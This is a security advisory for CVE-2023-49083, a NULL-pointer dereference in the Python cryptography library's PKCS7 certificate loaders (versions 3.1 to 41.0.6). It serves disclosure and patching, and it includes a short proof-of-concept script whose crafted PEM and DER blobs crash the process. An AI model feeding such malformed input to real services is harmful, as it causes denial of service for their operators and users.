GHSA-jfhm-5ghh-2f97
cryptography vulnerable to NULL-dereference when loading PKCS7 certificates
At a glance
- Published
- Updated
- CVE
- CVE-2023-49083
- Aliases
- PYSEC-2023-254
- CVSS_V3
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Description
### Summary Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. ### PoC Here is a Python code that triggers the issue: ```python from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """ der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02" load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7) ``` ### Impact Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
Affected packages
| Package | Versions |
|---|---|
| PyPI · cryptography | introduced 3.1, fixed 41.0.6 |
References
- https://github.com/pyca/cryptography/security/advisories/GHSA-jfhm-5ghh-2f97 WEB
- https://nvd.nist.gov/vuln/detail/CVE-2023-49083 ADVISORY
- https://github.com/pyca/cryptography/pull/9926 WEB
- https://github.com/pyca/cryptography/commit/f09c261ca10a31fe41b1262306db7f8f1da0e48a WEB
- https://github.com/pyca/cryptography PACKAGE
- https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2023-254.yaml WEB
- https://lists.debian.org/debian-lts-announce/2024/10/msg00012.html WEB
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QMNTYMUGFJSDBYBU22FUYBHFRZODRKXV WEB
- http://www.openwall.com/lists/oss-security/2023/11/29/2 WEB
Sources
| Source | Licence |
|---|---|
| OSV.dev | CC-BY 4.0 — GitHub Advisory Database |